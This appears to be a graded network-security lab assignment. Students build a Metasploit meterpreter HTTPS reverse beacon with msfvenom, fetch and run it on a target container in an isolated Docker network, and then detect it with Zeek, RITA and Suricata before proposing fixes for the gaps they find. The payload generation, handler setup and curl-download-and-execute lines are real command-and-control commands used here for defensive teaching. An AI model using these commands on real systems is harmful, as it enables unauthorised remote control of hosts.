Module: 10 — Penetration Testing Cross-Cut
Points: 25
Time estimate: 90 min lab + 3 hr independent
Deliverable: lab-12-report.md + lab12/ directory
Objectives
- Configure a Metasploit meterpreter beacon with deliberate evasion (jitter 30%, HTTPS C2).
- Capture the C2 traffic and run RITA + Suricata + Zeek against it.
- Identify what was detected, what was not, and why.
- Propose NSM configuration changes that would close each detection gap.
Prerequisites
- Containerlab running (or a local isolated network: two VMs or containers on a private bridge)
- Metasploit Framework installed (
msfconsole) - RITA installed (see SETUP.md)
- Zeek and Suricata installed
- Authorization: This lab operates entirely on an isolated local network. No external systems are contacted. All activity is confined to the lab topology.
Lab Network Setup
mkdir lab12 && cd lab12
# Create an isolated lab network (no external routing)
# Option A: Docker network
docker network create --driver bridge --internal lab12-net
# Start a target host (the "compromised" host in the red scenario)
docker run -d --name lab12-target --network lab12-net \
ubuntu:22.04 tail -f /dev/null
# Start an attacker host (C2 side)
docker run -d --name lab12-attacker --network lab12-net \
ubuntu:22.04 tail -f /dev/null
# Install Metasploit on attacker
docker exec -it lab12-attacker bash -c "
apt-get update -qq && apt-get install -y metasploit-framework curl
"
Part A: Red Team -- Configure Evasion C2 Beacon (30 min)
On the attacker container:
docker exec -it lab12-attacker bash
# Generate a meterpreter HTTPS payload with jitter
msfvenom -p linux/x64/meterpreter/reverse_https \
LHOST=$(hostname -I | awk '{print $1}') \
LPORT=4443 \
HttpUnknownRequestResponse=200 \
-f elf -o /tmp/beacon
# Start the multi/handler with evasion settings
msfconsole -q -x "
use exploit/multi/handler;
set PAYLOAD linux/x64/meterpreter/reverse_https;
set LHOST 0.0.0.0;
set LPORT 4443;
set SessionCommunicationTimeout 0;
set ExitOnSession false;
run -j
"
Configure beacon timing with jitter (in the meterpreter session after connection):
meterpreter > set_timeouts -c 60 -r 30
# -c: comm timeout 60s (beacon interval)
# -r: retry timeout 30s (implies ~50% jitter of the retry window)
On the target container -- execute the beacon:
docker exec -it lab12-target bash
curl -o /tmp/beacon http://lab12-attacker:8080/beacon # or copy via docker cp
chmod +x /tmp/beacon
/tmp/beacon &
Allow the beacon to run for at least 5 minutes to generate enough intervals for RITA analysis.
Part B: Blue Team -- Capture and Analyze (45 min)
Step 1: Capture C2 traffic
In a third terminal, start a capture of the lab network bridge:
# Find the Docker bridge interface for lab12-net
BRIDGE=$(docker network inspect lab12-net | python3 -c "
import json, sys
data = json.load(sys.stdin)
print(data[0].get('Options', {}).get('com.docker.network.bridge.name', 'br-unknown'))
")
sudo tcpdump -i $BRIDGE -w lab12/c2_session.pcap &
TCPDUMP_PID=$!
# Let it run for 5+ minutes (meterpreter beacon interval = 60s + jitter)
sleep 360
sudo kill $TCPDUMP_PID
Step 2: Zeek analysis
zeek -r lab12/c2_session.pcap
# Examine SSL connections for C2 indicators
zeek-cut ts id.orig_h id.orig_p id.resp_h id.resp_p server_name ja3 ja3s \
< ssl.log | sort -k4 | tee lab12/ssl_analysis.txt
# Examine connection durations and byte counts
zeek-cut id.orig_h id.resp_h id.resp_p duration orig_bytes resp_bytes \
< conn.log | awk '$4 > 0' | sort -k3 -n | tee lab12/conn_analysis.txt
Step 3: RITA beacon analysis
# Import Zeek logs from this session
rita import lab12/ lab12_hunt
# Show beaconing candidates
rita show-beacons lab12_hunt --human-readable | tee lab12/rita_beacons.txt
# Show long connections
rita show-long-connections lab12_hunt | tee lab12/rita_long.txt
Step 4: Suricata analysis
suricata -r lab12/c2_session.pcap \
-l /tmp/lab12-suricata/ \
--no-random-seed
cat /tmp/lab12-suricata/fast.log | tee lab12/suricata_alerts.txt
Part C: Gap Analysis and Remediation (45 min)
Fill in the detection results table for lab-12-report.md:
| Detection method | What fired | What didn't fire | Evidence |
|---|---|---|---|
| RITA beaconing | beacon score, interval stats | ||
| Zeek ssl.log JA3 | JA3 hash value; known malware match? | ||
| Suricata ET rules | fast.log entries | ||
| Zeek conn.log byte ratio | orig_bytes/resp_bytes ratio |
For each item in "What didn't fire": propose a specific NSM configuration change that would close that detection gap.
Format each remediation as:
Detection gap: [what technique evaded what detection]
Root cause: [why the current NSM config misses it]
Remediation: [specific rule change, config change, or new capability]
Expected outcome: [what artifact would now be detected]
Lab Report
Create lab-12-report.md with:
-
Part A confirmation: paste the msfvenom command used; confirm meterpreter session established (screenshot or msfconsole output).
-
Part B evidence:
- Zeek
ssl.loglines for the C2 session (including JA3 hash) - RITA beacon score for the C2 host (interval, score, connection count)
- Suricata
fast.logoutput
- Zeek
-
Detection results table (Part C): all four rows completed with evidence.
-
Remediation section: one remediation block per gap identified.
-
Jitter analysis: RITA uses madm and skew scoring to detect beaconing. With 30% jitter, what is the approximate range of inter-beacon intervals (given a 60-second base)? Does your RITA output show the session as detected-but-lower-confidence, or not detected? Explain the RITA score in terms of the interval distribution.
-
Ethical scope note: Confirm (one sentence) that all traffic in this exercise remained on the isolated lab12-net Docker network and no external systems were contacted.
Grading
| Component | Points |
|---|---|
| Part A: meterpreter session established; jitter configured | 5 |
| Part B: all four analysis tools run; outputs saved | 7 |
| Part C: detection table complete; each gap has a remediation | 8 |
| Report: jitter analysis; ethical scope confirmation | 5 |
| Total | 25 |